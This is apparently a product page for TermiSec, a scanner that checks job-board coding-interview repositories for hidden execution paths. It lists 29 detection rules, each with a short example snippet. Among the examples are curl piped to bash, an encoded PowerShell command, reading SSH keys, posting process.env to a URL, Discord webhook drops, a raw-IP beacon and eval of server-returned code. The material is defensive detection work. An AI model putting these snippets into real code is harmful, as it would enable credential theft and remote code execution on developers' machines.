Match concrete behavior
TermiSec inspects repository text, manifests, assets, links, and local Git state for explicit patterns. The same input produces the same result every time.
DETERMINISTIC BY DESIGN
We analyzed the attack patterns surrounding coding-interview repositories shared through job boards, then mapped the 29 most common paths into concrete, inspectable checks.
Explore every check ↓WHY THESE 29
Job-board conversations often move candidates from a familiar listing to an unfamiliar repository with a simple instruction: clone it, open it, install the dependencies, and run it. Each step creates a different opportunity for hidden code to execute.
We analyzed those recurring attack paths and distilled the most common behaviors into 29 deterministic checks. They focus on what the repository can do, not who posted it or how convincing the opportunity looks.
Git state, hooks, links, and provenance cross the boundary first.
Editors, IDEs, and project tooling can launch repository-controlled tasks.
Lifecycle scripts and transitive dependencies gain a chance to execute.
Credential access, outbound traffic, and disguised payloads become active.
HOW TO READ THIS PAGE
These checks do not try to guess whether an author is trustworthy. They identify specific capabilities and combinations that deserve review before an unfamiliar project gets access to your machine.
TermiSec inspects repository text, manifests, assets, links, and local Git state for explicit patterns. The same input produces the same result every time.
A finding names the rule, severity, file, line when available, matched evidence, and a human-readable explanation. Nothing depends on an opaque score.
Critical findings stop execution. Lower-severity findings give you context to inspect, while the disposable workspace and offline-by-default network reduce exposure.
A direct execution or compromise path. TermiSec blocks the command before it runs.
A strong risk signal or sensitive capability that needs deliberate review.
A dual-use capability that can be legitimate, but becomes dangerous with untrusted input.
Code that can run because you installed, opened, built, or cloned a project, not because you deliberately launched it.
SH001CRITICALFinds curl or wget output piped directly into sh or bash.
curl https://example.test/setup | bashThe downloaded response executes immediately, so a compromised server can run arbitrary commands without leaving a script for review.
Open the downloaded URL separately, pin a version or checksum, and read the complete script before allowing it to run.
PS001CRITICALFinds PowerShell launched with an encoded-command flag.
powershell -EncodedCommand SQBFAFgA...Encoding hides the real command from casual inspection and is commonly used to conceal downloaders, credential theft, or persistence.
Decode the Base64 value without executing it, then inspect the resulting command for downloads, persistence, credential access, and evasion.
PKG001HIGHFinds npm scripts that run during install, packaging, or publishing.
"postinstall": "node scripts/bootstrap.js"A dependency can execute this hook during npm install, before you ever run the application or inspect its behavior.
Trace the lifecycle script and every command it calls. If it is not essential, install with scripts disabled and run the setup step manually.
VSC001CRITICALFinds VS Code or Cursor tasks configured to run when a folder opens.
"runOn": "folderOpen"Simply opening the repository in a trusted editor can trigger a command with your user permissions and access to local credentials.
Inspect the referenced task, its shell command, and workspace trust settings before opening the folder in an editor with extensions enabled.
XCODE001HIGHFinds shell scripts embedded in Xcode project build phases.
PBXShellScriptBuildPhase { shellScript = "./bootstrap.sh"; }Building an unfamiliar project can silently invoke shell code outside the application’s normal runtime boundary.
Read the full shellScript value, including expanded build variables and referenced files, before starting an Xcode build.
UNITY001HIGHFinds Unity initialization attributes that execute editor code automatically.
[InitializeOnLoad] class ProjectBootstrap { ... }Opening the project in Unity can execute editor scripts immediately, with access to the developer account and machine.
Review the attributed class and static initializer for filesystem, process, package, and network access before opening the project in Unity.
DEV001HIGHFinds commands that run while a Dev Container is created, started, updated, or attached.
"postCreateCommand": "npm run setup"A repository can trigger setup code as part of the seemingly safe act of opening its containerized development environment.
Inspect every Dev Container lifecycle field and the scripts they call; containerization does not automatically protect host-mounted files or credentials.
PERSIST001HIGHFinds common persistence mechanisms such as LaunchAgents, cron, systemd enablement, and Windows Run keys.
cp updater.plist ~/Library/LaunchAgents/Persistence makes unwanted code return after logout or reboot, turning a one-time execution into a durable compromise.
Confirm why the software needs to survive reboots, which executable will launch, and whether the persistence target affects the host or only the container.
Signals that code is looking for secrets, identifying your machine, or communicating with an outside system.
CRED001HIGHFinds references to SSH keys, cloud credentials, browser profiles, wallets, and keychains.
readFileSync(process.env.HOME + '/.ssh/id_ed25519')These files can grant access to source repositories, cloud infrastructure, accounts, cryptocurrency, and other high-value systems.
Check whether the path is documentation, test data, or live code. Live access should have a narrow, stated purpose and never collect unrelated secrets.
NET001HIGHFinds endpoints frequently used as convenient data drop sites, including Discord and Telegram webhooks.
fetch('https://discord.com/api/webhooks/...')Webhook services let an attacker receive stolen data without operating an obvious command server.
Identify exactly what data is sent, who controls the destination, and whether the endpoint belongs to the product rather than a personal or disposable account.
EXFIL001CRITICALFinds a file that both collects environment or credential data and can send a network request.
fetch(url, { body: JSON.stringify(process.env) })The combined behavior forms a direct path from local secrets to an external recipient, rather than merely using either capability in isolation.
Follow the data flow from collection to request body or headers. Verify that secret values are filtered and that the destination is expected and authenticated.
FPRINT001HIGHFinds machine-identifying data collected alongside network transmission.
axios.post(url, { host: os.hostname(), arch: os.arch() })Attackers use fingerprints to identify valuable targets, avoid sandboxes, and tailor follow-up payloads to a specific system.
Determine why machine identity is required, which fields leave the device, and whether the behavior is disclosed and necessary for the feature.
BEACON001CRITICALFinds timer-driven outbound traffic, with raw-IP destinations treated as the strongest signal.
setInterval(() => fetch('http://203.0.113.42/ping'), 5000)Periodic callbacks can keep a compromised machine checking in for instructions, payloads, or opportunities to send data.
Inspect the timer interval, destination, request contents, response handling, retry logic, and whether a user action clearly starts and stops the loop.
C2EXEC001CRITICALFinds data returned by a server passed into eval or another dynamic execution mechanism.
fetch(server).then(r => r.text()).then(code => eval(code))The repository becomes a small loader while the attacker can change the real code remotely at any time.
Treat the remote endpoint as executable code ownership. A safe design should validate structured data and map it to fixed local actions instead of evaluating text.
Patterns that make executable behavior harder to see during a normal code review.
JS001MEDIUMFinds eval and new Function in JavaScript and TypeScript files.
const run = new Function('input', payload)Generated code bypasses normal static structure and can turn untrusted strings into executable instructions.
Find the source of the evaluated string. Static, tightly controlled expressions are different from values influenced by files, users, packages, or the network.
PROC001MEDIUMFinds Node.js APIs that launch operating-system commands.
child_process.exec(userSuppliedCommand)A child process escapes application-level assumptions and can invoke shells, installers, downloaders, or native tools.
Trace command arguments to their origin, avoid shell interpolation, and prefer fixed executable-plus-argument APIs when process launch is genuinely required.
OBF001HIGHFinds Base64, character-built, or escaped content reconstructed and passed to execution.
eval(Buffer.from(blob, 'base64').toString())Obfuscation hides the payload from reviewers and simple searches until the program reconstructs it at runtime.
Decode the content in an isolated, non-executing tool and inspect every stage. Legitimate encoded assets should not need to flow into an execution API.
ASSET001HIGHFinds script-like content in an image or font file whose signature does not match its extension.
public/logo.png starts with #!/bin/shA harmless-looking asset can carry executable text past reviewers, scanners, or build steps that trust file extensions.
Verify the file signature and provenance, then open the content as text without invoking build tooling that may transform or execute it.
ASSET002HIGHFinds an OpenSSL-encrypted payload stored under an image or font extension.
assets/banner.jpg starts with Salted__Encryption prevents inspection of the hidden content until another script decrypts and potentially executes it.
Locate the decryption key and every consumer of the file. Confirm the decrypted result in isolation and require a documented reason for encrypting a bundled asset.
BIN001HIGHFinds executable binary files that cannot be inspected by the deterministic text scanner.
tools/bootstrap (Mach-O or ELF executable)A precompiled executable can conceal arbitrary behavior that has no reviewable source in the repository.
Require source code or a signed, independently verifiable release. Do not execute an unexplained binary simply because it was included in the repository.
SCAN001HIGHFinds executable or source files that exceed the scanner’s safe text-inspection limit.
scripts/bootstrap.js larger than 1 MBOversized code can hide malicious behavior beyond the scanner’s bounded inspection window and must be treated as unreviewed.
Split or independently inspect the file with a tool designed for large inputs, then verify its provenance before allowing it to execute.
Dependency declarations and filesystem links that reach beyond the expected, reviewable project boundary.
DEPSRC001HIGHFinds dependencies downloaded over plain HTTP or directly from a raw IP address.
"helper": "http://203.0.113.8/helper.tgz"The package lacks the normal registry trust path and plain HTTP can be altered in transit.
Replace the source with an HTTPS registry release when possible, then verify publisher, version, integrity metadata, and the archive contents.
DEPPATH001HIGHFinds file or link dependencies whose path leaves the repository workspace.
"shared": "file:../../private-package"A build can read or execute content from outside the reviewed repository, including host files an attacker should not control.
Resolve the path from the manifest’s directory and confirm the final target stays inside the disposable workspace on every supported platform.
DEPGIT001MEDIUMFinds packages installed from Git rather than a package-registry release.
"widget": "git+https://github.com/example/widget.git"A movable branch or tag can change what gets installed, weakening reproducibility and registry-based integrity checks.
Require a full commit hash rather than a branch or mutable tag, inspect that commit, and confirm why a registry release is not used.
DEPSCRIPT001MEDIUMFinds lockfile packages marked as having an install script.
"hasInstallScript": trueTransitive code may execute during installation even when the top-level package.json looks harmless.
Identify the exact transitive package and install script in the lockfile, inspect its published source, or install with --ignore-scripts.
FS001HIGHFinds repository symlinks that resolve outside the repository directory.
config/keys → ../../.sshTools following the link may expose, copy, modify, or package sensitive host files that were never part of the repository.
Resolve the link without following it during a build. If it leaves the repository, remove it or replace it with an explicit, documented input.
Repository-local Git state that can execute commands or make the checked-out history less trustworthy.
GIT001HIGHFinds non-sample hooks in .git/hooks and raises severity when they are executable.
.git/hooks/post-checkout (executable)Hooks can run during checkout, commit, merge, and other ordinary Git operations with your local user permissions.
Read the entire hook, confirm who installed it, and keep repository-supplied hooks non-executable unless their behavior is deliberately trusted.
GITCFG001HIGHFinds local hooks, filters, credential helpers, SSH commands, and filesystem monitors that can invoke external programs.
hooksPath = ../repo-controlled-hooksLocal Git configuration can trigger an attacker-selected command during fetch, checkout, filtering, authentication, or status.
Compare .git/config with a fresh clone and inspect every command-capable value. Local Git configuration is not visible in an ordinary source diff.
GITPROV001HIGHFinds forced-update evidence in the local Git reflog.
fetch origin main: forced-updateRewritten history can replace a previously reviewed commit; the expected revision should be confirmed through an independent trusted channel.
Verify the expected commit hash through the official repository, signed release, or another trusted channel before reviewing or running the new history.
INTERPRETING A FINDING
No. Many checks describe dual-use capabilities found in legitimate build tools, installers, and developer utilities. A match means the behavior deserves inspection; critical combinations are blocked because the cost of executing them blindly is unusually high.
Reading environment variables can be normal. Sending a network request can also be normal. Doing both in the same file creates a plausible secret-exfiltration path, so compound rules such as EXFIL001 carry more weight than either behavior alone.
Security decisions should be reproducible and explainable. These rules can point to the exact evidence that caused a finding, work locally without sending repository code to a model, and do not change their answer between scans.
No static rule set can prove a project is safe. Obfuscated, novel, or delayed behavior can evade detection. That is why TermiSec pairs scanning with containment: an unprivileged disposable workspace, no Mac home directory, dropped capabilities, and no network by default.
HONEST SECURITY
Some legitimate developer tools use these same capabilities. TermiSec shows the evidence and blocks the highest-risk combinations before execution so you can make an informed decision.
Download TermiSec